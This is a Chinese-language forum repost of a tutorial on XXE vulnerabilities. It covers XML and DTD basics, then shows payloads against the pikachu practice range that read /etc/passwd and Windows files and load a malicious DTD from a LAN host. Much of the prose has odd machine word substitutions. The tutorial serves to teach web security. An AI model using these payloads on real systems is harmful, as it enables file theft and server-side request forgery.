【XXE漏洞安全-全网最详细讲授】

打印 上一主题 下一主题

主题 861|帖子 861|积分 2583

作者:liku君
公众号:里库的安全日志
博主微信:L2440710476(请备注来意)
  
  

一、XXE是什么?

1.XXE简介

XXE(XML External Entity)漏洞是一种安全漏洞,出现在利用XML解析器的应用程序中。它答应攻击者利用可信任的XML扩展功能来执行恶意操纵,如读取本地文件、发起远程网络请求或执行任意命令。
XXE漏洞的发生通常是由于应用程序在解析XML输入时未精确验证或限制实体引用。攻击者可以通过构造恶意的XML输入,将外部实体(external entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD(Document Type Definition)来读取本地文件,通过将file://协媾和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容。

2.XML简介

XML(可扩展标志语言)是一种用于表现和传输数据的标志语言。它计划用于具有自界说布局的文档和数据的描述,具有跨平台和跨语言的特性。
XML利用标签来描述数据的布局和范例,将数据和标签包裹在起始标签和竣事标签之间,形成一个条理布局。比方:
  1. <person>
  2.   <name>John Doe</name>
  3.   <age>30</age>
  4.   <city>New York</city>
  5. </person>
复制代码
在上面的示例中,<person>是起始标签,</person>是竣事标签。<name>、<age>和<city>是子标签,它们包含了相应的数据。
XML具有以下特点:
1. 可扩展性:XML答应用户自界说标签和数据布局,因此可以适应各种差异的应用范畴和需求。
2. 自我描述性:XML文档具有自我描述性,标签和属性可以提供关于数据的含义和布局的信息。
3. 平台和语言无关性:由于XML采用纯文本格式,因此可以在任何操纵系统和编程语言中解析和处置惩罚。
4. 可读性:XML文档利用具有可读性的标志和缩进,易于明白和阅读。
XML常用于数据交换和存储,尤其在Web服务、配置文件、数据传输和文档的表现中广泛应用。它提供了一种通用且灵活的方式来组织和传输布局化数据。
二、XML语法

1.XML语法规则

XML 被计划用来传输和存储数据。XML 文档行成了一种树布局,它从”根部”开始,然后扩展到”枝叶”。
XML 答应创作者界说自己的标签和自己的文档布局。

1. 所有的 XML 元素都必须有一个关闭标签
2. XML 标签对大小写敏感
3. XML 必须精确嵌套
4. XML 属性值必须加引号
5. 实体引用
6. 在 XML 中,空格会被保留


2.XML布局

第一行是 XML 声明。它界说 XML 的版本 (1.0) 和所利用的编码 (ISO-8859-1 = Latin-1/西欧
字符集)。
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <note> #根元素
  3. <to>George</to> #接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body)
  4. <from>John</from>
  5. <heading>Reminder</heading>
  6. <body>Don't forget the meeting!</body>
  7. </note> #根元素结
复制代码
3.XML-DTD

拥有精确语法的 XML 被称为“形式精良”的 XML。
通过 DTD 验证的 XML 是“合法”的 XML。
DTD 全称是 The document type definition,即是文档范例界说,通过 DTD 验证 XML 是否合法

1、形式精良的 XML 文档
(1)XML 文档必须有根元素
(2)XML 文档必须有关闭标签
(3)XML 标签对大小写敏感
(4)XML 元素必须被精确的嵌套
(5)XML 属性必须加引号
如下:
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <note>
  3. <to>George</to>
  4. <from>John</from>
  5. <heading>Reminder</heading>
  6. <body>Don't forget the meeting!</body>
  7. </note>
复制代码
单独依靠人来检查,太慢了。怎样快速的检查 XML 文档是否是形式精良的文档? 需要一个
工具来快速检查 XML ?
这个工具就是 DTD
2、DTD 可界说合法的 XML 文档构建模块。它利用一系列合法的元素来界说文档的布局。
XML 引用 DTD 检查的方法有两种:
一种是直接在 XML 文档中声明并引用;另一种在 XML 中引入一个外部的 DTD 文档

在 XML 文档内部中写 DTD 声明
DTD 被包含在您的 XML 源文件中,它会被包装在一个 DOCTYPE 声明中:
  1. <!DOCTYPE 根元素 [元素声明]>
复制代码
比方
  1. <?xml version="1.0" ?>
  2. <!DOCTYPE note [
  3. <!ELEMENT note (to,from,heading,body)>
  4. <!ELEMENT to (#PCDATA)>
  5. <!ELEMENT from (#PCDATA)>
  6. <!ELEMENT heading (#PCDATA)>
  7. <!ELEMENT body (#PCDATA)>
  8. ]>
  9. <note>
  10. <to>zhang</to>
  11. <from>kill</from>
  12. <heading>Reminder</heading>
  13. <body> Don't forget me this weekend!</body>
  14. </note>
复制代码
在 XML 文档内部中引入外部 DTD 文件 note.dtd
外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个
  1. <!DOCTYPE 根元素 SYSTEM "文件名">
复制代码
比方
  1. <?xml version="1.0"?>
  2. <!DOCTYPE note SYSTEM "note.dtd">
  3. <note>
  4. <to>zhang</to>
  5. <from>kill</from>
  6. <heading>Reminder</heading>
  7. <body> Don't forget me this weekend!</body>
  8. </note>
复制代码
DTD 文件 note.dtd 中的界说如下
  1. <!ELEMENT note (to,from,heading,body)>
  2. <!ELEMENT to (#PCDATA)>
  3. <!ELEMENT from (#PCDATA)>
  4. <!ELEMENT heading (#PCDATA)>
  5. <!ELEMENT body (#PCDATA)>
复制代码
总结:这是内部 DTD 和外部 DTD 的声明
内部中写 DTD 声明中,它会被包装在:<!DOCTYPE 根元素 [元素声明]>

外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个
DOCTYPE 界说中:<!DOCTYPE 根元素 SYSTEM "文件名">


三、XXE漏洞详解

1.XXE漏洞

XXE(XML External Entity)漏洞是一种安全漏洞,存在于利用 XML 解析器解析用户提供的 XML 数据时。漏洞的根本原因是对外部实体引用的不精确处置惩罚,导致攻击者可以利用该漏洞读取文件系统中敏感的数据、执行远程请求等操纵。
XXE漏洞的攻击原理如下:
1.攻击者构造恶意的 XML 数据,其中包含对外部实体的引用。
2.XML 解析器无法精确处置惩罚这些外部实体引用,导致攻击者可以读取任意文件、进行 SSRF 攻击等。
3.攻击者通过修改 XML 数据,获取敏感信息或进行远程请求。
比方
  1. XML内容:
  2.         <?xml version="1.0"?>
  3.         <!DOCTYPE a [
  4.                 <!ENTITY % d SYSTEM “file:///etc/passwd”>
  5.         %d;
  6.         ]>
  7.         <c>%d;</c>
复制代码
此时c变量读取的值便是/etc/passwd文件的内容
2.漏洞演示

问:该怎么判断是否存在XXE漏洞呢?
答:看是否能够解析XML数据,传入一段XML代码看他能否解析
这是一个pikachu的靶场

把xml代码输入进去:
  1. <?xml version = "1.0"?>
  2. <!DOCTYPE name
  3.     [ <!ENTITY hacker "test"> ]>
  4. <name>&hacker;</name>
复制代码
结果:

成功提取到test数据,阐明有大概存在XXE漏洞

3.漏洞演示

1.直接外部实体注入,就是通过协议直接执行恶意命令

  1. <?xml version = "1.0"?>
  2. <!DOCTYPE name
  3.     [ <!ENTITY hacker SYSTEM "file:///C:/phpstudy_pro/WWW">
  4. ]>
  5. <name>&hacker;</name>
复制代码
结果:

2.间接外部实体注入

将恶意代码写在DTD文件中,再引入DTD文件,操纵如下:
1.构造外部dtd文件
  1. <!ENTITY hacker SYSTEM "file:///c://windows//win.ini">
复制代码
2.一个局域网内,能ping通就行
3.构造XML代码
  1. <?xml version = "1.0"?>
  2. <!DOCTYPE name
  3.     [ <!ENTITY % a SYSTEM "http:///192.168.0.107/xxx.dtd">
  4.     %a;
  5. ]>
  6. <hacker>%a;</hacker>
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小秦哥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表